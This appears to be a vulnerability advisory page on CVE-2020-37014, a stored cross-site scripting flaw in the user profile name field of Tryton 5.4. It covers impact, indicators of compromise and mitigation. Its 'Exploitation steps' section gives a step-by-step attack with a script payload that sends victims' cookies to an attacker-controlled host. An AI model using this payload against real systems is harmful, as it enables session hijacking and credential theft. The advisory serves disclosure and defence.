CVE-2020-37014
Tryton vulnerability analysis and mitigation

Overview

CVE-2020-37014 is a persistent (stored) cross-site scripting (XSS) vulnerability in Tryton 5.4, affecting the user profile name input field. Authenticated attackers with low privileges can inject malicious script payloads into the name field, which subsequently execute in both the frontend and backend user interfaces when viewed by other users. The vulnerability was published on January 30, 2026, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 6.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (VulnCheck, Exploit-DB).

Technical details

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79 — Stored XSS). An authenticated attacker with low privileges submits a crafted script payload (e.g., <script>...</script>) into the user profile name field via the Tryton application. Because the application fails to sanitize or encode this input before rendering it in the UI, the payload is persistently stored and executed in the browsers of any user — including administrators — who view the affected profile in either the frontend or backend interface. A public proof-of-concept exploit is available on Exploit-DB (Exploit-DB, Vulnerability Lab).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browser sessions, including administrators, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of victims, and defacement of the application interface. Because the payload executes in both frontend and backend interfaces, the blast radius extends to privileged users, increasing the risk of privilege escalation or lateral movement within the application. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (VulnCheck, Exploit-DB).

Exploitation steps

  1. Obtain a low-privilege account: Register or obtain credentials for a standard user account on the target Tryton 5.4 instance.
  2. Navigate to user profile settings: Log in and access the user profile or preferences section where the name field can be edited.
  3. Inject XSS payload: Enter a malicious script payload into the name field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Save the profile: Submit the form to persist the payload in the application database.
  5. Trigger execution: Wait for an administrator or other user to view the affected profile in the frontend or backend interface — the stored script executes automatically in their browser.
  6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data at the attacker-controlled endpoint, enabling session hijacking or further unauthorized actions (Exploit-DB, Vulnerability Lab).

Indicators of compromise

  • Logs: Application or web server logs showing unusual characters (e.g., <script>, %3Cscript%3E, javascript:) in user profile name fields or HTTP POST requests to profile update endpoints.
  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing user profile pages; DNS queries to attacker-controlled domains originating from internal client machines.
  • Application Data: User profile name fields in the database containing HTML tags or JavaScript code rather than plain text strings.
  • Browser/Client: Unexpected redirects or pop-ups experienced by users when navigating to pages that display user profile names in the Tryton interface.

Mitigation and workarounds

Users should upgrade Tryton to a version beyond 5.4 that includes input sanitization and output encoding fixes for user profile fields; consult the Tryton download page for the latest patched release. As a workaround, restrict the ability to modify user profile names to trusted administrators only, and implement a web application firewall (WAF) rule to block requests containing script tags or JavaScript event handlers in profile name parameters. Regularly audit user profile data in the database for unexpected HTML or script content (Tryton, VulnCheck).

Community reactions

Coverage of this vulnerability has been limited to security database aggregators and a technical write-up on Infinit Security's blog. No major vendor statements, notable researcher commentary, or significant social media discussion has been identified beyond the initial Exploit-DB submission and VulnCheck advisory (Infinit Security, VulnCheck).

Additional resources


SourceThis report was generated using AI

Related Tryton vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2014-6633HIGH8.8
  • Python logoPython
  • trytond
NoYesApr 12, 2018
CVE-2018-19443MEDIUM5.9
  • Python logoPython
  • trytond_account_invoice
NoYesNov 22, 2018
CVE-2017-0360MEDIUM5.3
  • Python logoPython
  • cpe:2.3:a:tryton:tryton
NoYesApr 04, 2017
CVE-2020-37014MEDIUM5.1
  • Tryton logoTryton
  • tryton-sao
NoYesJan 30, 2026
CVE-2016-1242MEDIUM4.4
  • Python logoPython
  • trytond
NoYesSep 07, 2016

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management